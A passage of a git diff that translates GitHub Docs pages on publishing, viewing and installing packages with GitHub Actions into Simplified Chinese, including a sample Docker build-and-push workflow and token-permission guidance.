administrators. +{% else %} 如果你需要有关 {% data variables.product.prodname_registry %} 的支持,请联系网站管理员。 {% endif %} diff --git a/translations/zh-CN/content/packages/learn-github-packages/publishing-a-package.md b/translations/zh-CN/content/packages/learn-github-packages/publishing-a-package.md index 57496eecf2..0c5ff90454 100644 --- a/translations/zh-CN/content/packages/learn-github-packages/publishing-a-package.md +++ b/translations/zh-CN/content/packages/learn-github-packages/publishing-a-package.md @@ -1,6 +1,6 @@ --- -title: Publishing a package -intro: 'You can publish a package to {% data variables.product.prodname_registry %} to make the package available for others to download and re-use.' +title: 发布包 +intro: '您可以将包发布到 {% data variables.product.prodname_registry %} 以供他人下载和再用。' product: '{% data reusables.gated-features.packages %}' redirect_from: - /github/managing-packages-with-github-packages/publishing-a-package @@ -11,31 +11,32 @@ versions: ghes: '*' ghae: '*' ghec: '*' +ms.openlocfilehash: e13e33b6085fbdd736d77d7d8b4998595ea7ffcc +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145130320' --- +{% data reusables.package_registry.packages-ghes-release-stage %} {% data reusables.package_registry.packages-ghae-release-stage %} -{% data reusables.package_registry.packages-ghes-release-stage %} -{% data reusables.package_registry.packages-ghae-release-stage %} +## 关于发布的包 -## About published packages +您可以在包页面上提供说明和其他详细信息,例如安装和使用说明,以帮助他人了解和使用您的包。 {% data variables.product.product_name %} 提供每个版本的元数据,例如发布日期、下载活动和最新版本。 有关示例包页面,请参阅 [@Codertocat/hello-world-npm](https://github.com/Codertocat/hello-world-npm/packages/10696?version=1.0.1)。 -You can help people understand and use your package by providing a description and other details like installation and usage instructions on the package page. {% data variables.product.product_name %} provides metadata for each version, such as the publication date, download activity, and recent versions. For an example package page, see [@Codertocat/hello-world-npm](https://github.com/Codertocat/hello-world-npm/packages/10696?version=1.0.1). +{% data reusables.package_registry.public-or-private-packages %} 一个仓库可连接到多个包。 为避免混淆,请确保使用自述文件和说明清楚地阐明每个包的相关信息。 -{% data reusables.package_registry.public-or-private-packages %} A repository can be connected to more than one package. To prevent confusion, make sure the README and description clearly provide information about each package. - -{% ifversion fpt or ghec %} -If a new version of a package fixes a security vulnerability, you should publish a security advisory in your repository. {% data variables.product.prodname_dotcom %} reviews each published security advisory and may use it to send {% data variables.product.prodname_dependabot_alerts %} to affected repositories. For more information, see "[About GitHub Security Advisories](/github/managing-security-vulnerabilities/about-github-security-advisories)." +{% ifversion fpt or ghec %} 如果包的新版本修复了安全漏洞,则应在存储库中发布安全公告。 {% data variables.product.prodname_dotcom %} 审查每个发布的安全通告,并且可能使用它向受影响的仓库发送 {% data variables.product.prodname_dependabot_alerts %}。 有关详细信息,请参阅“[关于 GitHub 安全公告](/github/managing-security-vulnerabilities/about-github-security-advisories)”。 {% endif %} -## Publishing a package +## 发布包 -{% data reusables.package_registry.packages-classic-pat-only %} +您可以按照一般准则,使用任何{% ifversion fpt or ghae or ghec %}支持的包客户端{% else %}为您的实例启用的包类型{% endif %}将包发布到 {% data variables.product.prodname_registry %}。 -You can publish a package to {% data variables.product.prodname_registry %} using any {% ifversion fpt or ghae or ghec %}supported package client{% else %}package type enabled for your instance{% endif %} by following the same general guidelines. +1. 针对要完成的任务,创建具有适当作用域的访问令牌或使用现有的此类令牌。 有关详细信息,请参阅“[关于 {% data variables.product.prodname_registry %} 的权限](/packages/learn-github-packages/about-permissions-for-github-packages)”。 +2. 按照包客户端的说明,使用访问令牌向 {% data variables.product.prodname_registry %} 验证。 +3. 按照包客户端的说明发布包。 -1. Create or use an existing {% data variables.product.pat_v1 %} with the appropriate scopes for the task you want to accomplish. For more information, see "[About permissions for {% data variables.product.prodname_registry %}](/packages/learn-github-packages/about-permissions-for-github-packages)." -2. Authenticate to {% data variables.product.prodname_registry %} using your {% data variables.product.pat_v1 %} and the instructions for your package client. -3. Publish the package using the instructions for your package client. +有关包客户端的特定说明,请参阅“[使用 GitHub Packages 注册表](/packages/working-with-a-github-packages-registry)”。 -For instructions specific to your package client, see "[Working with a GitHub Packages registry](/packages/working-with-a-github-packages-registry)." - -After you publish a package, you can view the package on {% data variables.product.prodname_dotcom %}. For more information, see "[Viewing packages](/packages/learn-github-packages/viewing-packages)." +在发布包后,您可以在 {% data variables.product.prodname_dotcom %} 上查看该包。 有关详细信息,请参阅“[查看包](/packages/learn-github-packages/viewing-packages)”。 diff --git a/translations/zh-CN/content/packages/learn-github-packages/viewing-packages.md b/translations/zh-CN/content/packages/learn-github-packages/viewing-packages.md index 6dfa628822..c33469ab35 100644 --- a/translations/zh-CN/content/packages/learn-github-packages/viewing-packages.md +++ b/translations/zh-CN/content/packages/learn-github-packages/viewing-packages.md @@ -1,6 +1,6 @@ --- -title: Viewing packages -intro: 'You can see details about packages published to a repository, and narrow results by organization or user.' +title: 查看包 +intro: 您可以查看已发布到仓库的包的详细信息,也可以按组织或用户缩小结果范围。 product: '{% data reusables.gated-features.packages %}' redirect_from: - /articles/viewing-a-repositorys-packages @@ -14,54 +14,53 @@ versions: ghes: '*' ghae: '*' ghec: '*' +ms.openlocfilehash: 4fe01f80ec64f8029b1b2bce1d776da4eddfbd75 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148192839' --- +{% data reusables.package_registry.packages-ghes-release-stage %} {% data reusables.package_registry.packages-ghae-release-stage %} -{% data reusables.package_registry.packages-ghes-release-stage %} -{% data reusables.package_registry.packages-ghae-release-stage %} +## 查看仓库的包 -## About package views +查看包的权限取决于几个因素。 默认情况下,您可以查看您发布的所有包。 -Your ability to view a package depends on several factors. By default, you can view all packages you have published. +{% ifversion packages-registries-v2 %} 存储库范围的包从拥有该包的存储库继承权限和可见性。 某些注册表仅支持存储库范围的包。 有关这些注册表的列表,请参阅“[关于 {% data variables.product.prodname_registry %} 的权限](/packages/learn-github-packages/about-permissions-for-github-packages#permissions-for-repository-scoped-packages)”。 -{% ifversion packages-registries-v2 %} -Repository-scoped packages inherit their permissions and visibility from the repository that owns the package. Some registries **only** support repository-scoped packages. For a list of these registries, see "[About permissions for {% data variables.product.prodname_registry %}](/packages/learn-github-packages/about-permissions-for-github-packages#permissions-for-repository-scoped-packages)." - -Other registries offer you the option of granular permissions and visibility settings that can be customized for each package owned by a personal user or organization account. You can choose to use granular permissions or connect the package to a repository and inherit the repository's permissions. For more information, see "[Connecting a repository to a package](/packages/learn-github-packages/connecting-a-repository-to-a-package)" and "[Configuring a package's access control and visibility](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility)." +其他注册表提供精细权限和可见性设置,可针对个人用户或组织帐户拥有的每个包进行自定义。 可以选择使用精细权限或将存储库连接到包并继承存储库的权限。 有关详细信息,请参阅“[将存储库连接到包](/packages/learn-github-packages/connecting-a-repository-to-a-package)”和“[配置包的访问控制和可见性](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility)”。 {% else %} -Packages inherit their permissions and visibility from the repository on which they are hosted. For more information, see "[About permissions for {% data variables.product.prodname_registry %}](/packages/learn-github-packages/about-permissions-for-github-packages)." +包从托管包的存储库继承其权限和可见性。 有关详细信息,请参阅“[关于 {% data variables.product.prodname_registry %} 的权限](/packages/learn-github-packages/about-permissions-for-github-packages)”。 {% endif %} {% data reusables.package_registry.package-page-info %} -## Viewing a repository's packages +## 查看仓库的包 -You can find and view a package located in a particular repository. +您可以查找并查看位于特定仓库中的包。 -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.package_registry.packages-from-code-tab %} +{% data reusables.repositories.navigate-to-repo %} {% data reusables.package_registry.packages-from-code-tab %} {% data reusables.package_registry.navigate-to-packages %} + +## 查看组织的包 + +您可以查找并查看位于您所属组织的仓库中的包。 + +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} +3. 在组织名称下,单击 {% octicon "package" aria-label="The package icon" %}“包”。 {% data reusables.package_registry.navigate-to-packages %} -## Viewing an organization's packages +## 查看您的包 -You can find and view a package located in the repositories of an organization you belong to. - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -3. Under your organization name, click {% octicon "package" aria-label="The package icon" %} **Packages**. -{% data reusables.package_registry.navigate-to-packages %} - -## Viewing your packages - -You can find and view any package you've published across all organizations and repositories. +您可以跨所有组织和仓库查找并查看您发布的任何包。 {% data reusables.profile.access_profile %} -2. On the top of the profile page, in the main navigation, click **Packages**. - ![Project tab](/assets/images/help/package-registry/user-packages-tab.png) -{% data reusables.package_registry.navigate-to-packages %} +2. 在个人资料页面顶部的主导航栏中,点击“包”。 + ![“项目”选项卡](/assets/images/help/package-registry/user-packages-tab.png) {% data reusables.package_registry.navigate-to-packages %} -## Further reading +## 延伸阅读 -- "[Searching for packages](/search-github/searching-on-github/searching-for-packages)" +- [搜索包](/search-github/searching-on-github/searching-for-packages) diff --git a/translations/zh-CN/content/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions.md b/translations/zh-CN/content/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions.md index f0aa8e04e7..0711e08b97 100644 --- a/translations/zh-CN/content/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions.md +++ b/translations/zh-CN/content/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions.md @@ -1,6 +1,6 @@ --- -title: Publishing and installing a package with GitHub Actions -intro: 'You can configure a workflow in {% data variables.product.prodname_actions %} to automatically publish or install a package from {% data variables.product.prodname_registry %}.' +title: 使用 GitHub Actions 发布和安装包 +intro: '您可以配置 {% data variables.product.prodname_actions %} 中的工作流程以自动发布或安装 {% data variables.product.prodname_registry %} 的包。' product: '{% data reusables.gated-features.packages %}' redirect_from: - /github/managing-packages-with-github-packages/using-github-packages-with-github-actions @@ -12,84 +12,87 @@ versions: ghae: '*' ghec: '*' shortTitle: Publish & install with Actions +ms.openlocfilehash: 80516eb55e9ffc8f2de3f92cf24a7d7f230b8407 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148193120' --- +{% data reusables.package_registry.packages-ghes-release-stage %} {% data reusables.package_registry.packages-ghae-release-stage %} -{% data reusables.package_registry.packages-ghes-release-stage %} -{% data reusables.package_registry.packages-ghae-release-stage %} +## 关于 {% data variables.product.prodname_registry %} 与 {% data variables.product.prodname_actions %} -## About {% data variables.product.prodname_registry %} with {% data variables.product.prodname_actions %} +{% data reusables.repositories.about-github-actions %} {% data reusables.repositories.actions-ci-cd %} 有关详细信息,请参阅“[关于 {% data variables.product.prodname_actions %}](/github/automating-your-workflow-with-github-actions/about-github-actions)”。 -{% data reusables.repositories.about-github-actions %} {% data reusables.repositories.actions-ci-cd %} For more information, see "[About {% data variables.product.prodname_actions %}](/github/automating-your-workflow-with-github-actions/about-github-actions)." - -You can extend the CI and CD capabilities of your repository by publishing or installing packages as part of your workflow. +您可以通过在工作流程中发布或安装包来扩展仓库的 CI 和 CD 功能。 {% ifversion packages-registries-v2 %} -### Authenticating to package registries with granular permissions +### 使用精细权限对包注册表进行身份验证 {% data reusables.package_registry.authenticate_with_pat_for_v2_registry %} -### Authenticating to package registries with repository-scoped permissions +### 使用存储库范围的权限对包注册表进行身份验证 {% endif %} -{% ifversion packages-registries-v2 %}Some {% data variables.product.prodname_registry %} registries only support repository-scoped permissions, and do not support granular permissions. For a list of these registries, see "[About permissions for {% data variables.product.prodname_registry %}](/packages/learn-github-packages/about-permissions-for-github-packages#permissions-for-repository-scoped-packages)." +{% ifversion packages-registries-v2 %}某些 {% data variables.product.prodname_registry %} 注册表仅支持存储库范围的权限,不支持精细权限。 有关这些注册表的列表,请参阅“[关于 {% data variables.product.prodname_registry %} 的权限](/packages/learn-github-packages/about-permissions-for-github-packages#permissions-for-repository-scoped-packages)”。 -If you want your workflow to access a {% data variables.product.prodname_registry %} registry that does not support granular permissions, then{% else %}To authenticate to package registries on {% data variables.product.product_name %},{% endif %} we recommend using the `GITHUB_TOKEN` that {% data variables.product.product_name %} automatically creates for your repository when you enable {% data variables.product.prodname_actions %}. You should set the permissions for this access token in the workflow file to grant read access for the `contents` scope and write access for the `packages` scope. For forks, the `GITHUB_TOKEN` is granted read access for the parent repository. For more information, see "[Authenticating with the GITHUB_TOKEN](/actions/configuring-and-managing-workflows/authenticating-with-the-github_token)." +如果要让工作流访问不支持精细权限的 {% data variables.product.prodname_registry %} 注册表,则{% else %}要对 {% data variables.product.product_name %} 上的包注册表进行身份验证,{% endif %}我们建议使用 {% data variables.product.product_name %} 在你启用 {% data variables.product.prodname_actions %} 时自动为注册表创建的 `GITHUB_TOKEN`。 应在工作流文件中设置此访问令牌的权限,以授予 `contents` 范围的读取访问权限,并授予 `packages` 范围的写入访问权限。 对于分支,向 `GITHUB_TOKEN` 授予了对父存储库的读取访问权限。 有关详细信息,请参阅“[使用 GITHUB_TOKEN 进行身份验证](/actions/configuring-and-managing-workflows/authenticating-with-the-github_token)”。 -You can reference the `GITHUB_TOKEN` in your workflow file using the {% raw %}`{{secrets.GITHUB_TOKEN}}`{% endraw %} context. For more information, see "[Authenticating with the GITHUB_TOKEN](/actions/automating-your-workflow-with-github-actions/authenticating-with-the-github_token)." +可使用 {% raw %}`{{secrets.GITHUB_TOKEN}}`{% endraw %} 上下文在工作流文件中引用 `GITHUB_TOKEN`。 有关详细信息,请参阅“[使用 GITHUB_TOKEN 进行身份验证](/actions/automating-your-workflow-with-github-actions/authenticating-with-the-github_token)”。 -## About permissions and package access +## 关于权限和包访问 {% ifversion packages-registries-v2 %} -### Packages scoped to users or organizations +### 范围限定为用户或组织的包 -Registries that support granular permissions allow users to create and administer packages as free-standing resources at the organization level. Packages can be owned by an organization or personal account and you can customize access to each of your packages separately from repository permissions. +支持精细权限的注册表允许用户在组织级别将包作为独立资源来创建和管理。 包可以归组织或个人帐户所有,你可以自定义与存储库权限分开的每个包访问权限。 -All workflows accessing registries that support granular permissions should use the `GITHUB_TOKEN` instead of a {% data variables.product.pat_generic %}. For more information about security best practices, see "[Security hardening for GitHub Actions](/actions/learn-github-actions/security-hardening-for-github-actions#using-secrets)." +访问支持精细权限的注册表的所有工作流都应使用 `GITHUB_TOKEN` 而不是 {% data variables.product.pat_generic %}。 有关安全最佳做法的详细信息,请参阅“[GitHub Actions 的安全强化](/actions/learn-github-actions/security-hardening-for-github-actions#using-secrets)”。 -### Packages scoped to repositories +### 范围限定为存储库的包 {% endif %} -When you enable GitHub Actions, GitHub installs a GitHub App on your repository. The `GITHUB_TOKEN` secret is a GitHub App installation access token. You can use the installation access token to authenticate on behalf of the GitHub App installed on your repository. The token's permissions are limited to the repository that contains your workflow. For more information, see "[Permissions for the GITHUB_TOKEN](/actions/reference/authentication-in-a-workflow#about-the-github_token-secret)." +启用 GitHub 操作后,GitHub 会在您的仓库中安装 GitHub 应用程序。 `GITHUB_TOKEN` 机密是 GitHub 应用安装访问令牌。 您可以使用安装访问令牌代表仓库中安装的 GitHub 应用程序进行身份验证。 令牌的权限仅限于包含您的工作流程的仓库。 有关详细信息,请参阅“[GITHUB_TOKEN 的权限](/actions/reference/authentication-in-a-workflow#about-the-github_token-secret)”。 -{% data variables.product.prodname_registry %} allows you to push and pull packages through the `GITHUB_TOKEN` available to a {% data variables.product.prodname_actions %} workflow. +使用 {% data variables.product.prodname_registry %} 能通过可用于 {% data variables.product.prodname_actions %} 工作流的 `GITHUB_TOKEN` 推送和拉取包。 {% ifversion packages-registries-v2 %} -## Default permissions and access settings for containers modified through workflows +## 通过工作流程修改的容器的默认权限和访问设置 -When you create, install, modify, or delete a container through a workflow, there are some default permission and access settings used to ensure admins have access to the workflow. You can adjust these access settings as well. +当您通过工作流程创建、安装、修改或删除容器时,有一些默认权限和访问设置用于确保管理员能够访问工作流程。 您也可以调整这些访问设置。 -For example, by default if a workflow creates a container using the `GITHUB_TOKEN`, then: -- The container inherits the visibility and permissions model of the repository where the workflow is run. -- Repository admins where the workflow is run become the admins of the container once the container is created. +例如,默认情况下,如果工作流使用 `GITHUB_TOKEN` 创建容器,则: +- 容器继承运行工作流程的仓库的可见性和权限模型。 +- 在创建容器后,工作流程运行的仓库管理员将成为容器的管理员。 -These are more examples of how default permissions work for workflows that manage packages. +以下是管理包的工作流程的默认权限如何运作的更多示例。 -| {% data variables.product.prodname_actions %} workflow task | Default permissions and access | +| {% data variables.product.prodname_actions %} 工作流程任务 | 默认权限和访问权限 | |----|----| -| Download an existing container | - If the container is public, any workflow running in any repository can download the container.
- If the container is internal, then all workflows running in any repository owned by the Enterprise account can download the container. For enterprise-owned organizations, you can read any repository in the enterprise
- If the container is private, only workflows running in repositories that are given read permission on that container can download the container.
-| Upload a new version to an existing container | - If the container is private, internal, or public, only workflows running in repositories that are given write permission on that container can upload new versions to the container. -| Delete a container or versions of a container | - If the container is private, internal, or public, only workflows running in repositories that are given delete permission can delete existing versions of the container. +| 下载现有容器 | - 如果容器是公开的,则任何仓库中运行的任何工作流程都可以下载容器。
- 如果容器是内部的,则在企业帐户拥有的任何存储库中运行的所有工作流都可以下载容器。 对于企业拥有的组织,你可以读取企业中的任何存储库
- 如果容器是专用的,则只有在存储库中运行且具有对该容器的读取权限的工作流才可下载容器。
+| 上传新版本到现有容器 | - 如果容器是私有、内部或公共的,则只有在该容器上获得写入权限的仓库中运行的工作流程才可将新版本上传到容器中。 +| 删除容器或容器版本 | - 如果容器是私有、内部或公共的,则只有在该容器上获得删除权限的仓库中运行的工作流程才可删除容器的现有版本。 -You can also adjust access to containers in a more granular way or adjust some of the default permissions behavior. For more information, see "[Configuring a package’s access control and visibility](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility)." +您还可以使用更精细的方式调整对容器的访问,或调整一些默认权限行为。 有关详细信息,请参阅“[配置包的访问控制和可见性](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility)”。 {% endif %} -## Publishing a package using an action +## 使用操作发布包 -You can use {% data variables.product.prodname_actions %} to automatically publish packages as part of your continuous integration (CI) flow. This approach to continuous deployment (CD) allows you to automate the creation of new package versions, if the code meets your quality standards. For example, you could create a workflow that runs CI tests every time a developer pushes code to a particular branch. If the tests pass, the workflow can publish a new package version to {% data variables.product.prodname_registry %}. +您可以使用 {% data variables.product.prodname_actions %} 在持续集成 (CI) 流程中自动发布包。 如果代码符合您的质量标准,可使用这种持续部署 (CD) 方法自动创建新的包版本。 例如,您可以创建一个每当开发者向特定分支推送代码时运行 CI 测试的工作流程。 如果测试通过,则工作流程可以将新的包版本发布到 {% data variables.product.prodname_registry %}。 {% data reusables.package_registry.actions-configuration %} -The following example demonstrates how you can use {% data variables.product.prodname_actions %} to build {% ifversion not fpt or ghec %}and test{% endif %} your app, and then automatically create a Docker image and publish it to {% data variables.product.prodname_registry %}. +下面的示例演示如何使用 {% data variables.product.prodname_actions %} 构建{% ifversion not fpt or ghec %}和测试{% endif %}应用程序,然后自动创建 Docker 映像并将其发布到 {% data variables.product.prodname_registry %}: -Create a new workflow file in your repository (such as `.github/workflows/deploy-image.yml`), and add the following YAML: +在存储库中创建新的工作流文件(例如 `.github/workflows/deploy-image.yml`),并添加以下 YAML: -{% ifversion fpt or ghec %} -{% data reusables.package_registry.publish-docker-image %} +{% ifversion fpt or ghec %} {% data reusables.package_registry.publish-docker-image %} {% else %} @@ -166,13 +169,12 @@ jobs: ``` {% endif %} -The relevant settings are explained in the following table. For full details about each element in a workflow, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions)." +下表介绍了相关设置: 有关工作流中每个元素的完整详细信息,请参阅“[{% data variables.product.prodname_actions %} 的工作流语法](/actions/reference/workflow-syntax-for-github-actions)”。 @@ -197,7 +199,7 @@ env: {% endraw %} @@ -212,7 +214,7 @@ jobs: {% endraw %} @@ -238,7 +240,7 @@ run-npm-build: @@ -273,14 +275,13 @@ run-npm-test: @@ -296,8 +297,7 @@ build-and-push-image: {% ifversion fpt or ghec %} {% else %} {% endif %} {% ifversion fpt or ghec %} {% endif %} @@ -443,73 +435,67 @@ labels: ${{ steps.meta.outputs.labels }} {% endraw %} {% else %} {% endif %}
-{% raw %} -```yaml +{% raw %} ```yaml on: push: branches: ['release'] @@ -180,7 +182,7 @@ on: {% endraw %} - Configures the Create and publish a Docker image workflow to run every time a change is pushed to the branch called release. +配置 Create and publish a Docker image 工作流,以便在每次向名为 release 的分支推送更改时运行。
- Defines two custom environment variables for the workflow. These are used for the {% data variables.product.prodname_container_registry %} domain, and a name for the Docker image that this workflow builds. + 为工作流程定义两个自定义环境变量。 这些是用于 {% data variables.product.prodname_container_registry %} 域以及此工作流程生成的 Docker 映像的名称。
- There is a single job in this workflow. It's configured to run on the latest available version of Ubuntu. + 此工作流程中有单个作业。 它已配置为运行最新版本的 Ubuntu。
- This job installs NPM and uses it to build the app. + 此作业会安装 NPM 并使用它来构建应用程序。
- This job uses npm test to test the code. The needs: run-npm-build command makes this job dependent on the run-npm-build job. +此作业使用 npm test 来测试代码。 needs: run-npm-build 命令使此作业依赖于 run-npm-build 作业。
-{% raw %} -```yaml +{% raw %} ```yaml build-and-push-image: runs-on: ubuntu-latest needs: run-npm-test @@ -288,7 +289,7 @@ build-and-push-image: {% endraw %} - This job publishes the package. The needs: run-npm-test command makes this job dependent on the run-npm-test job. +此作业将发布包。 needs: run-npm-test 命令使此作业依赖于 run-npm-test 作业。
-{% raw %} -```yaml +{% raw %} ```yaml permissions: contents: read packages: write @@ -305,15 +305,14 @@ permissions: {% endraw %} - Sets the permissions granted to the GITHUB_TOKEN for the actions in this job. +为此作业中的操作设置授予 GITHUB_TOKEN 的权限。
-{% raw %} -```yaml +{% raw %} ```yaml - name: Log in to the Container registry uses: docker/login-action@f054a8b539a109f9f41c372932f1ae047eff08c9 with: @@ -324,14 +323,13 @@ permissions: {% endraw %} - Creates a step called Log in to the {% data variables.product.prodname_container_registry %}, which logs in to the registry using the account and password that will publish the packages. Once published, the packages are owned by the account defined here. +创建一个名为 Log in to the {% data variables.product.prodname_container_registry %} 的步骤,以使用将发布包的帐户和密码登录到注册表。 发布后,包归此处定义的帐户所有。
-{% raw %} -```yaml +{% raw %} ```yaml - name: Extract metadata (tags, labels) for Docker id: meta uses: docker/metadata-action@98669ae865ea3cffbcbaa878cf57c20bbf1c6c38 @@ -341,15 +339,14 @@ permissions: {% endraw %} - This step uses docker/metadata-action to extract tags and labels that will be applied to the specified image. The id "meta" allows the output of this step to be referenced in a subsequent step. The images value provides the base name for the tags and labels. +此步骤使用 docker/metadata-action 提取将应用于指定映像的标记和标签。 id“meta”使此步骤的输出可在随后的步骤中被引用。 images 值提供标记和标签的基本名称。
-{% raw %} -```yaml +{% raw %} ```yaml - name: Log in to GitHub Docker Registry uses: docker/login-action@f054a8b539a109f9f41c372932f1ae047eff08c9 with: @@ -360,75 +357,70 @@ permissions: {% endraw %} - Creates a new step called Log in to GitHub Docker Registry, which logs in to the registry using the account and password that will publish the packages. Once published, the packages are owned by the account defined here. +新建一个名为 Log in to GitHub Docker Registry 的步骤,以使用将发布包的帐户和密码登录到注册表。 发布后,包归此处定义的帐户所有。
-{% raw %} -```yaml +{% raw %} ```yaml - name: Build and push Docker image ``` {% endraw %} - Creates a new step called Build and push Docker image. This step runs as part of the build-and-push-image job. +新建一个名为 Build and push Docker image 的步骤。 此步骤在 build-and-push-image 作业中运行。
-{% raw %} -```yaml +{% raw %} ```yaml uses: docker/build-push-action@ad44023a93711e3deb337508980b4b5e9bcdc5dc ``` {% endraw %} - Uses the Docker build-push-action action to build the image, based on your repository's Dockerfile. If the build succeeds, it pushes the image to {% data variables.product.prodname_registry %}. +使用 Docker build-push-action 操作生成基于存储库的 Dockerfile 的映像。 如果构建成功,它会将映像推送到 {% data variables.product.prodname_registry %}。
-{% raw %} -```yaml +{% raw %} ```yaml with: ``` {% endraw %} - Sends the required parameters to the build-push-action action. These are defined in the subsequent lines. +将所需的参数发送到 build-push-action 操作。 这些将在后面的行中定义。
-{% raw %} -```yaml +{% raw %} ```yaml context: . ``` {% endraw %} - Defines the build's context as the set of files located in the specified path. For more information, see "Usage." +将构建的上下文定义为位于指定路径中的文件集。 有关详细信息,请参阅“用法”。
-{% raw %} -```yaml +{% raw %} ```yaml push: true ``` {% endraw %} - Pushes this image to the registry if it is built successfully. +此映像如已成功构建,则推送至注册表。
- Adds the tags and labels extracted in the "meta" step. + 添加在 "meta" 步骤中提取的标记和标签。
-{% ifversion ghae %} -{% raw %} -```yaml +{% ifversion ghae %} {% raw %} ```yaml tags: | docker.YOUR-HOSTNAME.com/${{ github.repository }}/octo-image:${{ github.sha }} ``` -{% endraw %} -{% else %} -{% raw %} -```yaml +{% endraw %} {% else %} {% raw %} ```yaml tags: | docker.pkg.github.com/${{ github.repository }}/octo-image:${{ github.sha }} ``` -{% endraw %} -{% endif %} +{% endraw %} {% endif %} - Tags the image with the SHA of the commit that triggered the workflow. +使用触发工作流程的提交的 SHA 标记映像。
-This new workflow will run automatically every time you push a change to a branch named `release` in the repository. You can view the progress in the **Actions** tab. +每次将更改推送到存储库中名为 `release` 的分支时,这个新工作流都会自动运行。 可在“操作”选项卡中查看进度。 -A few minutes after the workflow has completed, the new package will visible in your repository. To find your available packages, see "[Viewing a repository's packages](/packages/publishing-and-managing-packages/viewing-packages#viewing-a-repositorys-packages)." +工作流程完成几分钟后,新包将在您的仓库中可见。 要查找可用的包,请参阅“[查看存储库的包](/packages/publishing-and-managing-packages/viewing-packages#viewing-a-repositorys-packages)”。 -## Installing a package using an action +## 使用操作安装包 -You can install packages as part of your CI flow using {% data variables.product.prodname_actions %}. For example, you could configure a workflow so that anytime a developer pushes code to a pull request, the workflow resolves dependencies by downloading and installing packages hosted by {% data variables.product.prodname_registry %}. Then, the workflow can run CI tests that require the dependencies. +您可以使用 {% data variables.product.prodname_actions %} 将安装包作为 +CI 流程的一部分。 例如,您可以配置一个工作流程:每当开发者向拉取请求推送代码时,该工作流程就会通过下载并安装 {% data variables.product.prodname_registry %} 托管的包来解析依赖项。 然后,该工作流程就可以运行需要这些依赖项的 CI 测试。 -Installing packages hosted by {% data variables.product.prodname_registry %} through {% data variables.product.prodname_actions %} requires minimal configuration or additional authentication when you use the `GITHUB_TOKEN`.{% ifversion fpt or ghec %} Data transfer is also free when an action installs a package. For more information, see "[About billing for {% data variables.product.prodname_registry %}](/billing/managing-billing-for-github-packages/about-billing-for-github-packages)."{% endif %} +使用 `GITHUB_TOKEN` 时,通过 {% data variables.product.prodname_actions %} 安装 {% data variables.product.prodname_registry %} 托管的包只需极少的配置或额外身份验证。{% ifversion fpt or ghec %}使用操作安装包时,数据传输也是免费的。 有关详细信息,请参阅“[关于 {% data variables.product.prodname_registry %} 的计费](/billing/managing-billing-for-github-packages/about-billing-for-github-packages)”。{% endif %} {% data reusables.package_registry.actions-configuration %} {% ifversion packages-registries-v2 %} -## Upgrading a workflow that accesses a registry using a {% data variables.product.pat_generic %} +## 升级使用 {% data variables.product.pat_generic %} 访问注册表的工作流 -{% data variables.product.prodname_registry %} supports the `GITHUB_TOKEN` for easy and secure authentication in your workflows. If you're using a registry that supports granular permissions, and your workflow is using a {% data variables.product.pat_generic %} to authenticate to the registry, then we highly recommend you update your workflow to use the `GITHUB_TOKEN`. +{% data variables.product.prodname_registry %} 支持用 `GITHUB_TOKEN` 在你的工作流中进行简单和安全的身份验证。 如果使用的是支持精细权限的注册表,且工作流使用 {% data variables.product.pat_generic %} 向注册表进行身份验证,则强烈建议更新工作流以使用 `GITHUB_TOKEN`。 -For more information about the `GITHUB_TOKEN`, see "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow#using-the-github_token-in-a-workflow)." +有关 `GITHUB_TOKEN` 的详细信息,请参阅“[工作流中的身份验证](/actions/reference/authentication-in-a-workflow#using-the-github_token-in-a-workflow)”。 -Using the `GITHUB_TOKEN`, instead of a {% data variables.product.pat_v1 %} with the `repo` scope, increases the security of your repository as you don't need to use a long-lived {% data variables.product.pat_generic %} that offers unnecessary access to the repository where your workflow is run. For more information about security best practices, see "[Security hardening for GitHub Actions](/actions/learn-github-actions/security-hardening-for-github-actions#using-secrets)." +使用 `GITHUB_TOKEN` 而不是 {% data variables.product.pat_v1 %}(包括 `repo` 范围),可提高存储库的安全性,因为无需使用长期 {% data variables.product.pat_generic %},以免提供对运行工作流的存储库的不必要的访问权限。 有关安全最佳做法的详细信息,请参阅“[GitHub Actions 的安全强化](/actions/learn-github-actions/security-hardening-for-github-actions#using-secrets)”。 -1. Navigate to your package landing page. -1. In the left sidebar, click **Actions access**. - !["Actions access" option in left menu](/assets/images/help/package-registry/organization-repo-access-for-a-package.png) -1. To ensure your container package has access to your workflow, you must add the repository where the workflow is stored to your container. Click **Add repository** and search for the repository you want to add. - !["Add repository" button](/assets/images/help/package-registry/add-repository-button.png) - {% note %} +1. 导航到包登陆页面。 +1. 在左侧边栏中,单击“操作访问”。 + ![左侧菜单中的“操作访问”选项](/assets/images/help/package-registry/organization-repo-access-for-a-package.png) +1. 为了确保您的容器包能够访问您的工作流程,您必须添加仓库,其中工作流程存储到您的容器。 单击“添加存储库”并搜索要添加的存储库。 + ![“添加存储库”按钮](/assets/images/help/package-registry/add-repository-button.png) {% note %} - **Note:** Adding a repository to your container through the **Actions access** menu option is different than connecting your container to a repository. For more information, see "[Ensuring workflow access to your package](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#ensuring-workflow-access-to-your-package)" and "[Connecting a repository to a 